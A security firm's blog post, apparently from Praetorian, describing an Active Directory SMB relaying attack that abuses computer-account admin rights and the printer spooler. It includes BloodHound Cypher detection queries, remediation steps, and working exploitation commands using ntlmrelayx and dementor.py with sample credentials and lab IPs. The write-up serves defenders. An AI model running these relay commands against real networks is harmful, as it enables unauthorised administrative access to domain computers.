Corporate Security

Active Directory Computer Account SMB Relaying Attack

Overview

During a recent red team exercise, Praetorian’s red team operators discovered an interesting SMB relaying attack vector that could allow an unprivileged domain user account to gain administrative access to certain suitably configured, domain-joined computers under certain configurations. Initially, we believed that we had discovered a novel relaying attack vector; however, we later discovered previous existing publications indicating that this was actually a publicly-known technique [1][2] that has not received widespread recognition. Due to these factors, we have decided to publish additional information covering this technique in more depth, including extended remediation guidance and identification methods leveraging custom Cypher queries to both assist in remediation and increase awareness of this issue amongst the broader security community.

Attack Preconditions

This attack is possible in scenarios where a computer account has been assigned administrative access to another computer within Active Directory under the following conditions:

Computer A and Computer B exist in a domain environment where Computer A has admin rights to Computer B (configuration specific)
Computer A as a client does not require SMB signing and supports NetNTLMv1 or NetNTLMv2 authentication (default setting)
Computer A has the printer spooler service running (default setting)
The attacker has access to unprivileged domain user credentials
Computer B as a server doesn’t require SMB signing (default setting)

Under these conditions, an attacker can compromise “Computer B” by interacting with the printer spooler service on “Computer A” and inducing it to authenticate to an attacker-controlled SMB server. An SMB relaying attack can then be performed to compromise “Computer B” using publicly-available tools such as Impacket’s ntlmrelayx tool [3].

Vulnerability Identification

The presence of this particular configuration issue can be identified by utilizing standard Active Directory analysis tools such as BloodHound and Neo4j. Praetorian used the query given below to enumerate all paths that exist within BloodHound where a computer account has administrative access to another computer either directly or via nested group membership.

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

Here is an example query result showing a configuration vulnerable to this attack path

An example query is given below to list all paths where Computer A has administrative access to Computer B within the Neo4j Console. This query is useful for generating a comprehensive list of all such relationships.

MATCH(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(c2:Computer) RETURN c1.name,c2.name

The result of this sample query, when executed within the Neo4j Console, is shown below.

Vulnerability Exploitation

In this section we describe the steps required to exploit this vulnerability using Impacket’s ntlmrelayx alongside the dementor.py script [4] which can be utilized to interact with the printer spooler on a remote host. The dementor.py script from 3xocyte allows operators to interact with the printer spooler on a host and trigger an authentication from the target system to an attacker controlled host using the computer account with NT Lan Manager (NTLM) authentication. This technique is an implementation of the widely publicized “printer bug” technique discovered by Lee Christensen (@tifkin_) [5].

In Praetorian’s lab environment, there exists a domain controller with two computers (Computer A) and (Computer B). In this instance, Computer A has administrative rights to Computer B. There also exists a fourth attacker computer capable of communicating with all systems within the network environment.

To exploit this vulnerability, we must first run ntlmrelayx to target the appropriate host. In this example, we executed ntlmrelayx targeting Computer B (192.168.184.136). An example command is given below.

# python3 examples/ntlmrelayx.py -smb2support -t smb://192.168.184.136 -c 'whoami /all' -debug

The next step is to trigger an authentication from Computer A to the attacker-controlled SMB server. To do this, we run the dementor.py script. An example command to invoke this tool is given below (Computer A is 192.168.184.135 and the attacker host is 192.168.184.141). In this example command, we are leveraging domain user credentials; however, these credentials are for a standard domain user account without administrative access to either host.

$ python dementor.py -u jsmith -p Spring2020 -d CONTOSO.LOCAL 192.168.184.141 192.168.184.135

In the image given below, we can see the expected output when dementor.py is executed.

Computer A then authenticates to the attacker SMB server running ntlmrelayx, and the authentication attempt is relayed to Computer B. The ntlmrelayx tool then executes the “whoami” command and retrieves the result. This activity is shown in the image given below.

Remediation Guidance

In many ways, this attack vector underscores the importance of considering enabling non-default Windows security settings such as SMB signing and disabling the printer spooler service on production systems. Remediation of this issue within your Active Directory environment may involve one or more of the following steps:

Remove administrative rights from computer accounts (e.g. Computer A should not have administrative access to Computer B).
Enable SMB signing or SMB encryption to protect against relaying attacks.
Disable the printer spooler on all servers (especially domain controllers) to prevent an attacker from being able to trigger an authentication using the computer account to an attacker controlled host. When conducted in isolation, this remediation step may be ill-advised as there are potentially other Remote Procedure Call (RPC) endpoints outside of the printer spooler service that can be leveraged to trigger an authentication from the system.

Conclusion

This article outlined a unique Active Directory attack vector that arises when a computer account has administrative access to another computer. While not extremely common, Praetorian has observed this abnormal configuration within multiple real world Active Directory environments.